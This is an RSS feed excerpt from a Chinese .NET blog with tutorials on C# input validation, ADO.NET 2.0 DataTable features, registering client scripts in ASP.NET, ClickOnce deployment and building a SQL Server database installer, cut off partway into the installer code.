﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-东人EP的内陆空间！-随笔分类-.NET</title><link>http://www.cnitblog.com/eastperson/category/2907.html</link><description /><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 22:04:48 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 22:04:48 GMT</pubDate><ttl>60</ttl><item><title>C#验证输入的是否数字</title><link>http://www.cnitblog.com/eastperson/archive/2007/02/24/23296.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Sat, 24 Feb 2007 14:38:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/02/24/23296.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/23296.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/02/24/23296.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/23296.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/23296.html</trackback:ping><description><![CDATA[
		<h3>C#验证输入的是否数字</h3>用分解字符的方法实现:<br />static bool IsNumeric(string str) <br />  { <br />   if (str==null || str.Length==0) <br />    return false; <br />   foreach(char c in str) <br />   { <br />    if (!Char.IsNumber(c)) <br />    { <br />     return false; <br />    } <br />   } <br />   return true; <br />  }  
<p></p><p>其实用正则表达式也可以<br />static bool IsNumeric(string str)  <br />{   <br />   System.Text.RegularExpressions.Regex reg1  <br />       = new System.Text.RegularExpressions.Regex(@"^[-]?\d+[.]?\d*$");   <br />   return reg1.IsMatch(str);  <br />}   </p><img src ="http://www.cnitblog.com/eastperson/aggbug/23296.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-02-24 22:38 <a href="http://www.cnitblog.com/eastperson/archive/2007/02/24/23296.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用asp.net 2.0和SQL SERVER 2005构建多层应用</title><link>http://www.cnitblog.com/eastperson/archive/2007/02/23/23270.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Fri, 23 Feb 2007 02:40:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/02/23/23270.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/23270.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/02/23/23270.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/23270.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/23270.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 使用														asp.net 2.0														和														SQL SERVER 2005														构建多层应用																																																								随着			...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2007/02/23/23270.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/23270.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-02-23 10:40 <a href="http://www.cnitblog.com/eastperson/archive/2007/02/23/23270.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET AJAX调用Web Service </title><link>http://www.cnitblog.com/eastperson/archive/2007/02/15/23114.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 15 Feb 2007 09:59:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/02/15/23114.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/23114.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/02/15/23114.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/23114.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/23114.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 原文地址：http://www.developer.com/net/asp/article.php/3657826[原文源码下载]ASP.NET AJAX调用Web Service原文发布日期：2007.02.08作者：Bipin Joshi介绍尽管AJAX是种客户端技术，但实际上的开发过程，它经常要调用一个服务器端的过程。通常，网站上的数据是存放在一个关系型数据库中，为了让AJAX更有用处，处理...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2007/02/15/23114.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/23114.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-02-15 17:59 <a href="http://www.cnitblog.com/eastperson/archive/2007/02/15/23114.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ADO.NET 2.0中的DataSet和DataTable</title><link>http://www.cnitblog.com/eastperson/archive/2007/02/15/23111.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 15 Feb 2007 07:58:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/02/15/23111.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/23111.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/02/15/23111.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/23111.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/23111.html</trackback:ping><description><![CDATA[
		<div class="storycontent">
				<p>原文链接：<a href="http://msdn.microsoft.com/msdnmag/issues/05/11/DataPoints/default.aspx">http://msdn.microsoft.com/msdnmag/issues/05/11/DataPoints/default.aspx</a></p>
				<p>MSDN2005年11月刊登载了John Papa的一篇文章《DataSet and DataTable in ADO.NET 2.0》，详细介绍了ADO.Net 2.0的一些新功能和特性，对于利用ADO.NET开发的程序员来说，是值得关注的。现介绍如下：</p>
				<p>一．功能增强的DataTable</p>
				<p>在ADO.NET1.x中，DataSet完全掩盖了DataTable的光芒，并非DataTable自身功能不够强大，实则是比较DataSet而言，很多功能在1.x版本中受到了限制。例如Merge功能，在ADO.NET1.x版本中，如果要合并两个表，只有是通过DataSet的Merge方法，才能完成，代码如下：</p>
				<p>string sqlAllCustomers = “SELECT * FROM Customers”;<br />string cnStr = @”Data Source=.;Initial Catalog=northwind;Integrated Security=True”;</p>
				<p>using (SqlConnection cn = new SqlConnection(cnStr))<br />{<br />    cn.Open();<br />   SqlCommand cmd = new SqlCommand(sqlAllCustomers, cn);<br />   SqlDataAdapter adpt = new SqlDataAdapter(cmd);<br />   DataTable dtCust1 = new DataTable(”Customers”);<br />   adpt.Fill(dtCust1);<br />   dtCust1.PrimaryKey = new DataColumn[]{dtCust1.Columns[”CustomerID”]};<br /> <br />   DataTable dtCust2 = dtCust1.Clone();<br />   DataRow row1 = dtCust2.NewRow();<br />   row1[”CustomerID”] = “ALFKI”;<br />   row1[”CompanyName”] = “Some Company”;<br />   dtCust2.Rows.Add(row1);</p>
				<p>   DataRow row2 = dtCust2.NewRow();<br />   row2[”CustomerID”] = “FOO”;<br />   row2[”CompanyName”] = “Some Other Company”;<br />   dtCust2.Rows.Add(row2);</p>
				<p>   DataSet ds = new DataSet(”MySillyDataSet”);<br />   ds.Tables.Add(dtCust1);<br />   ds.Merge(dtCust2);</p>
				<p>   dgTest.DataSource = dtCust1;<br />}</p>
				<p>在ADO.NET 2.0中，对DataTable作了改进，同样提供了Merge方法。因此如上的代码中，如果要合并表dtCust1和dtCust2，就不必再引入DataSet对象了：</p>
				<p>dtCust1.Merge(dtCust2);</p>
				<p>此外，ADO.NET1.x版本中，DataTable也无法完成Xml文件和数据表之间的转换。这个问题在2.0版本中，也得到了改进，DataTable也具备了和DataSet对象同样的操作xml文件的能力，包括方法ReadXml,WriteXml等。</p>
				<p>DataSet和DataTable在2.0版本中，还提供了一个新的属性RemotingFormat。在对DataTable和DataSet对象进行序列化时，该属性标示序列化的格式是二进制还是xml。</p>
				<p>二．轻量级对象和快速遍历</p>
				<p>ADO.NET 2.0中的DataTable提供了CreateDataReader方法（在之前的版本名为GetDataReader），该方法将创建一个DataTableReader对象。DataTableReader与DataTable不同，它是一个轻量级的对象，其支持Disconnected，这一点与DataReader（SqlDataReader）不同。这些特点决定遍历DataTableReader对象将更加快速，占用的数据资源更少（Disconnected）。下面的代码创建了一个DataTableReader对象，并将其绑定到DataGridView控件上：</p>
				<p>using (SqlConnection cn = new SqlConnection(cnStr))<br />{<br />    SqlCommand cmd = new SqlCommand(sqlAllCustomers, cn);<br />    SqlDataAdapter adpt = new SqlDataAdapter(cmd);<br />    DataTable dtCustomers = new DataTable(”Customers”);<br />    adpt.Fill(dtCustomers);<br />    DataTableReader dtRdr = ds.CreateDataReader();<br />    dgvCustomers.DataSource = dtRdr;<br />}</p>
				<p>和DataReader一样，DataTableReader对象只能向前遍历，可以通过Read方法，定位到对象的第一行。如果DataTableReader如果是被一个包含有多个数据表的DataSet对象创建，DataTableReader也会包含多个结果集。通过调用NextResult方法，访问结果集序列。</p>
				<p>using (SqlConnection cn = new SqlConnection(cnStr))<br />{<br />    // Create the Command and Adapter<br />    SqlCommand cmd = new SqlCommand(sqlAllCustomers, cn);<br />    SqlDataAdapter adpt = new SqlDataAdapter(cmd);</p>
				<p>    // Create a DataTable and fill it <br />    DataTable dtCustomers = new DataTable(”Customers”);<br />    adpt.Fill(dtCustomers);</p>
				<p>    DataSet ds = new DataSet();<br />    ds.Tables.Add(dtCustomers);<br />    adpt.SelectCommand = new SqlCommand(”SELECT * FROM Orders”, cn);<br />    adpt.Fill(ds, “Orders”);</p>
				<p>    // Create the DataTableReader (it is disconnected)<br />    using(DataTableReader dtRdr = ds.CreateDataReader())<br />    {<br />         do<br />        {<br />             Console.WriteLine(”******************************”);<br />             while (dtRdr.Read())<br />             {<br />                Console.WriteLine(dtRdr.GetValue(0).ToString());<br />             }<br />         }<br />         while (dtRdr.NextResult());<br />    }<br />}</p>
				<p>DataTableReader对象中数据表的顺序与DataSet中的数据表顺序一致。如果你需要制定特定的顺序，可以通过重载CreateDataReader方法来实现。</p>
				<p>三．装载数据</p>
				<p>可以通过DataTableReader对象生成DataTable和DataSet。利用DataTable和DataSet在2.0版本中新引入的方法Load，可以传递DataTableReader或者任何实现IDataReader接口的类对象。下面的代码就是通过Load方法将dt1的数据传递到新的数据表dt2中：</p>
				<p>DataTableReader dtRdr = dt1.CreateDataReader();<br />DataTable dt2 = new DataTable();<br />dt2.Load(dtRdr);</p>
				<p>在使用Load方法装载多行数据时，可以先调用BeginLoadData方法来避免通知(notifications)，索引维护（index maintenance）以及约束检查（constraint checking），然后再通过EndLoadData方法返回数据。</p>
				<p>四．性能改进</p>
				<p>这恐怕是ADO.NET 2.0最激动人心的改进。在1.x版本中，随着数据的增大，在使用DataTable和DataSet对象时，性能是不能令人满意的。ADO.NET 2.0对索引引擎作了很大的改进，使得2.0的数据访问能力获得极大的提高。以下面的测试代码为例：</p>
				<p>DataTable dt = new DataTable(”foo”);<br />DataColumn pkCol = new DataColumn(”ID”, Type.GetType(”System.Int32″));<br />pkCol.AutoIncrement = true;<br />pkCol.AutoIncrementSeed = 1;<br />pkCol.AutoIncrementStep = 1;<br />dt.Columns.Add(pkCol);<br />dt.PrimaryKey = new DataColumn[] { pkCol };<br />dt.Columns.Add(”SomeNumber”, Type.GetType(”System.Int32″));<br />dt.Columns[”SomeNumber”].Unique = true;</p>
				<p>int limit = 1000000;<br />int someNumber = limit;<br />DateTime startTime = DateTime.Now;<br />for (int i = 1; i {<br />    DataRow row = dt.NewRow();<br />    row[”SomeNumber”] = someNumber—;<br />    dt.Rows.Add(row);<br />}</p>
				<p>TimeSpan elapsedTime = DateTime.Now - startTime;<br />MessageBox.Show(dt.Rows.Count.ToString() + ” rows loaded in ” + elapsedTime.TotalSeconds + ” seconds.”);</p>
				<p>分别在Visual Studio.NET 2003和Visual Studio 2005环境下运行，结果比较如下：</p>
				<div align="center">
						<table cellspacing="0" cellpadding="0" width="340" border="1">
								<thead>
										<tr>
												<td valign="top">
														<p align="center">
																<strong>Iterations</strong>
														</p>
												</td>
												<td valign="top">
														<p align="center">
																<strong>ADO.NET 1.1</strong>
														</p>
												</td>
												<td valign="top">
														<p align="center">
																<strong>ADO.NET 2.0</strong>
														</p>
												</td>
										</tr>
										<tr>
												<td valign="top">
														<p align="left">10,000</p>
												</td>
												<td valign="top">
														<p align="right">0.20</p>
												</td>
												<td valign="top">
														<p align="right">0.20</p>
												</td>
										</tr>
										<tr>
												<td valign="top">
														<p align="left">100,000</p>
												</td>
												<td valign="top">
														<p align="right">7.91</p>
												</td>
												<td valign="top">
														<p align="right">3.89</p>
												</td>
										</tr>
										<tr>
												<td valign="top">
														<p align="left">1,000,000</p>
												</td>
												<td valign="top">
														<p align="right">1831.01</p>
												</td>
												<td valign="top">
														<p align="right">23.78</p>
												</td>
										</tr>
								</thead>
								<tbody>
								</tbody>
						</table>
				</div>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/23111.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-02-15 15:58 <a href="http://www.cnitblog.com/eastperson/archive/2007/02/15/23111.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何实现服务器端下页面动态添加JavaScript脚本 </title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22020.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 04:49:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22020.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22020.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22020.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22020.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22020.html</trackback:ping><description><![CDATA[
		<p>如何实现服务器端下页面动态添加JavaScript脚本 <br />    在System.Web.UI.Page类中包含了RegisterStarupScript()和RegisterClientScriptBlock()两个方法,使用这两个方法可以实现向Web页面动态添加脚本块,客户端脚本按运行方式可以分为两类:一类是在加载页面后立即运行,另一类是在发生客户端事件后才运行.前者的常见示例是打开页面时立即弹出一个广告条;后者的常见示例是当用户单击莫按钮时弹出一个消息框.<br />    RegisterStartupScript()和RegisterClientScriptBlock()两种方法使用形式如下:</p>
		<p>
				<br />Page.RegisterStartupScript(string key,string script);<br />Page.RegisterClientScriptBlock(string key,string script);    参数key: 是生成客户端脚本块的唯一标识符;<br />    参数script: 是将要生成的客户端脚本块,它是一个字符串类型.<br />    这两钟方法唯一的区别就是生成脚本的位置不同;<br />  (1)RegisterStarupScript()方法<br />    使用RegisterStarupScript()方法用于添加需要在加载页面后立即运行的脚本块.通过此方法添加的脚本块位于Web窗体的结尾处,即&lt;/form&gt;标签之前.例如在页面Page_Load事件中添加如下代码: Page.RegisterStartupScript("key","&lt;script&gt;alert('欢迎您来到本网沾!');&lt;/script&gt;");    执行上面的程序,在IE浏览器中选择"查看"菜单的"源文件"选项,脚本块生成的位置如如下所示: &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" &gt;<br />&lt;HTML&gt;<br />    &lt;HEAD&gt;<br />        &lt;title&gt;Web22&lt;/title&gt;<br />        &lt;meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1"&gt;<br />        &lt;meta name="CODE_LANGUAGE" Content="C#"&gt;<br />        &lt;meta name="vs_defaultClientScript" content="JavaScript"&gt;<br />        &lt;meta name="vs_targetSchema" content="<a href="http://schemas.microsoft.com/intellisense/ie5">http://schemas.microsoft.com/intellisense/ie5</a>"&gt;<br />    &lt;/HEAD&gt;<br />    &lt;body MS_POSITIONING="GridLayout"&gt;<br />        &lt;form name="Form1" method="post" action="Web22.aspx" id="Form1"&gt;<br />&lt;input type="hidden" name="__VIEWSTATE" value="dDwyMTA1NTI4MTE3Ozs+rxjH8qXphIPYQuLSie2igMF+KSU=" /&gt;<br />     &lt;FONT face="宋体"&gt;<br />                &lt;input name="TextBox1" type="text" id="TextBox1" style="Z-INDEX: 101; LEFT: 464px; POSITION: absolute; TOP: 48px" /&gt;&lt;/FONT&gt;<br />                &lt;script&gt;alert('欢迎您来到本网站!');&lt;/script&gt;</p>
		<p>&lt;/form&gt;<br />    &lt;/body&gt;<br />&lt;/HTML&gt;    (2)RegisterClientScriptBlock()<br />    使用RegisterClientScriptBlock()方法生成的脚本块位于Web页面的开始处,即"&lt;form runat="server"&gt;"标签之后.例如在页面Page_Load事件中添加如下代码: Page.RegisterClientScriptBlock("key","&lt;script&gt;alert('欢迎您来到本网站!');&lt;/script&gt;");    编译程序,打开页面的源文件代码,脚本块生成的位置如下所示. &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" &gt;<br />&lt;HTML&gt;<br />    &lt;HEAD&gt;<br />        &lt;title&gt;Web22&lt;/title&gt;<br />        &lt;meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1"&gt;<br />        &lt;meta name="CODE_LANGUAGE" Content="C#"&gt;<br />        &lt;meta name="vs_defaultClientScript" content="JavaScript"&gt;<br />        &lt;meta name="vs_targetSchema" content="<a href="http://schemas.microsoft.com/intellisense/ie5">http://schemas.microsoft.com/intellisense/ie5</a>"&gt;<br />    &lt;/HEAD&gt;<br />    &lt;body MS_POSITIONING="GridLayout"&gt;<br />        &lt;form name="Form1" method="post" action="Web22.aspx" id="Form1"&gt;<br />&lt;input type="hidden" name="__VIEWSTATE" value="dDwyMTA1NTI4MTE3Ozs+rxjH8qXphIPYQuLSie2igMF+KSU=" /&gt;<br />       <br />         &lt;script&gt;alert('欢迎您来到本网站!');&lt;/script&gt;<br />    <br />        &lt;FONT face="宋体"&gt;<br />                &lt;input name="TextBox1" type="text" id="TextBox1" style="Z-INDEX: 101; LEFT: 464px; POSITION: absolute; TOP: 48px" /&gt;&lt;/FONT&gt;<br />        &lt;/form&gt;<br />    &lt;/body&gt;<br />&lt;/HTML&gt;<br />    此外Page类还分别为上述两个方法提供了辅助方法,它们是IsStartupScriptRegistered(string key)和IsClientScriptBlockRegistered(string key).这两个方法都接受一个参数Key,并返回一个布尔值,用于标志关键字为key的脚本块是否已添加到页面中.如果脚本块已经添加到页面都返回True,否则将返回False.使用这两个辅助方法可以避免同一脚本块在同一页面中重复添加.<br />    另外一种方式是为控件添加触发条件.如果为一个Button控件添加"onclick"脚本事件,可在服务器使用"Button.Attributes.Add("onclick",函数名)"语句实现.  </p>
<img src ="http://www.cnitblog.com/eastperson/aggbug/22020.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 12:49 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22020.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ClickOnce 打包部署WinForm 应用程序</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22019.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 04:48:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22019.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22019.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22019.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22019.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22019.html</trackback:ping><description><![CDATA[ClickOnce 打包部署WinForm 应用程序<br /><br />1.在VS.NET2005中打开工程。<br />2.在”解决方案资源管理器”中选择” BudgetMain”，然后右键选择 属性。<br />3.在属性对话框的左边选择 “发布” 选项。如下图所示：<br />   <img style="WIDTH: 361px; HEIGHT: 302px" height="302" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/6.JPG" width="361" border="0" /><br />下面是关于几个属性的设置：<br />   A. 发布位置：所表示的意思是：把打包后的程序放在什么位置。我们设置在文件，比如：D:\发布版本.<br />   B. 安装URL：所表示的意思是：用户通过此URL安装应用程序。我们此处不用设置。<br />   C. 安装模式和设置：所表示的意思是：用户启动程序是要保证联机或者脱机。当选择脱机的时候，会在”开始”菜单生成启动图标，反之而不会。我们选择第二项：该应用程序也可以脱机使用(可以从”开始”菜单启动).<br />   D. 应用程序文件：所表示的意思是：系统运行所依赖的DLL,包括第三方控件所生成的DLL, 比如：CELL控件、WebOffice2004控件所生成的DLL都应该包括其中。如下图所示:<br /><img height="277" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/8.JPG" width="375" border="0" /><br />E.系统必备：所表示的意思是：客户端计算机运行程序所必需的系统组件，包括：、.NET Framework 2.0、Windows Installer 3.1。我们选择此二项。在”指定系统必备组件安装位置” 我们选择第二项”从与我的应用程序相同的位置下载系统必备组件。<br /><img style="WIDTH: 377px; HEIGHT: 279px" height="279" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/8.JPG" width="377" border="0" /> <br />F.更新位置：设置如下图：<br /><img height="381" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/9.JPG" width="465" border="0" /><br />G.选项：设置如下图： <br /><img height="439" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/10.JPG" width="424" border="0" /><br />H.发布版本：设置如下图：<br /><img style="WIDTH: 459px; HEIGHT: 82px" height="82" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/11.JPG" width="459" border="0" /><br />I.发布向导：<br />第一步：要在何处发布应用程序：<br /><img height="448" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/12.JPG" width="570" border="0" /><br /><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">第二步：用户如何安装应用程序？<br /><img height="447" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/13.JPG" width="571" border="0" /><br />第三步：发布程序将在哪里检查更新：(格式为：\\客户端服务器IP\文件夹\)<br /><img height="448" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/14.JPG" width="574" border="0" /><br />第四步：发布准备就绪<br /> <img height="446" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/15.JPG" width="573" border="0" /><br /><br />~~~~~~~~~~~~~~~~~~~~~~最后点击完成即可~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><img src ="http://www.cnitblog.com/eastperson/aggbug/22019.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 12:48 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22019.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL数据库的打包部署安装</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22018.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 04:47:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22018.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22018.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22018.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22018.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22018.html</trackback:ping><description><![CDATA[
		<p> 目的：在客户端服务器上”附加数据库文件”。<br />一).创建部署项目<br />1. 打开VS.NET2005。<br />2．在“文件”菜单上指向“新建项目”。<br />3. 在“新建项目”对话框中，选择“项目类型”窗格中的”其他项目类型”中的“安装和部署”，然后选择“模板”窗格中的“安装项目”。在“名称”框中键入 Setup1。<br />4. 单击“确定”关闭对话框。<br />5. 项目被添加到解决方案资源管理器中，并且文件系统编辑器打开。如下图所示：<br /><img style="WIDTH: 422px; HEIGHT: 225px" height="225" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/1.JPG" width="422" border="0" /><br />6. 在“属性”窗口中，选择 ProductName 属性，并键入 数据库打包安装。<br />二).创建安装程序类<br />1. 在“解决方案资源管理器”中的”解决方Setup1”上右键选择”添加”后选择“新建项目”。<br />2. 在“添加新项目”对话框中，选择“项目类型”窗格中的“Visual C#”下的”Windows”，然后选择“模板”窗格中的“类库”。在“名称”框中键入 InstallDB。<br />3. 单击“确定”关闭对话框。<br />4. 从“InstallDB”类库下右键选择”添加”中的”新建项”。<br />5. 在“添加新项”对话框中选择“安装程序类”。在“名称”框中键入 InstallDB。<br />6. 单击“添加”关闭对话框。<br />7. “InstallDB”安装程序类详细代码附后。<br />如下图所示:<br /><img style="WIDTH: 256px; HEIGHT: 271px" height="271" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/2.JPG" width="256" border="0" /><br />三).创建自定义安装对话框<br />1. 在解决方案资源管理器中选择“setup1”项目。右键然后在“视图”菜单上选择“用户界面”。<br />2. 在用户界面编辑器中，选择“安装”下的“启动”节点选择“添加对话框”。<br />3 在“添加对话框”对话框中，选择“文本框 (A)”对话框，然后单击“确定”关闭对话框。<br />4. 在“文本框 (A)”右键菜单上，选择“上移”。重复此步骤，直到“文本框 (A)”对话框位于“安装文件夹”节点之上。<br />5 在“文本框 (A)”的“属性”窗口中，选择 BannerText 属性并键入：安装数据库。<br />6. 选择 BodyText 属性并键入：安装程序将在目标机器上安装数据库。<br />7. 选择 Edit1Label 属性并键入：数据库名称:<br />8 选择 Edit1Property 属性并键入 DBNAME<br />9. 选择 Edit1Value 属性并键入： budgetSysDB<br />10. 选择 Edit2Label 属性并键入：服务器名:<br />11. 选择 Edit2Property 属性并键入 SERVER<br />12. 选择 Edit2Value 属性并键入：(local)<br />13. 选择 Edit3Label 属性并键入：用户名:<br />13. 选择 Edit3Value 属性并键入：sa<br />15. 选择 Edit3Property 属性并键入 USER<br />16. 选择 Edit4Label 属性并键入：密码:<br />18. 选择 Edit4Property 属性并键入 PWD<br />19. 选择Edit2Visible 属性，设置为 false;选择Edit2Visible、Edit3Visible 和 Edit4Visible 属性，并将它们设置为 true<br /><img style="WIDTH: 422px; HEIGHT: 307px" height="307" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/3.JPG" width="422" border="0" /><br />四).创建自定义操作<br />1. 在解决方案资源管理器中选择“setup1”项目,右键在“视图”菜单上选择“自定义操作”。<br />2. 在自定义操作编辑器中选择“安装”节点。右键选择“添加自定义操作”。<br />3. 在“选择项目中的项”对话框中，双击“应用程序文件夹”。<br />4. 单击”添加输出”按钮选择”项目”中的” InstallDB”,在下面框中选择”主输出”(此项一般为默认)，然后单击“确定”关闭对话框。<br />5. 在”主输出来自InstallDB(活动)的属性窗口中，选择 CustomActionData属性并键入：dbname=[DBNAME] /server=[SERVER]/user=[USER]/pwd=[PWD]/targetdir="[TARGETDIR]\"。<br />附:/targetdir="[TARGETDIR]\"是安装后的目标路径，为了在installDB类中获得安装后的路径，我们设置此参数。<br /> 如下图所示：<br /><img style="WIDTH: 423px; HEIGHT: 307px" height="307" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/4.JPG" width="423" border="0" /><br />五).添加数据库文件<br />1. 在解决方案资源管理器中选择“Setup1”项目,右键在“添加”选择“文件”。<br />2.把数据文件”budgetSysDB_Data.MDF”” budgetSysDB_Log.LDF”” budgetDB”添加到” Setup1”。<br />  如下图所示:<br /><img height="306" alt="" src="http://www.cnblogs.com/images/cnblogs_com/zhouxiaxue/img/5.JPG" width="309" border="0" /><br />六).”InstallDB”安装程序类代码 </p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" />
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Collections.Generic;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.ComponentModel;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Configuration.Install;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">using</span>
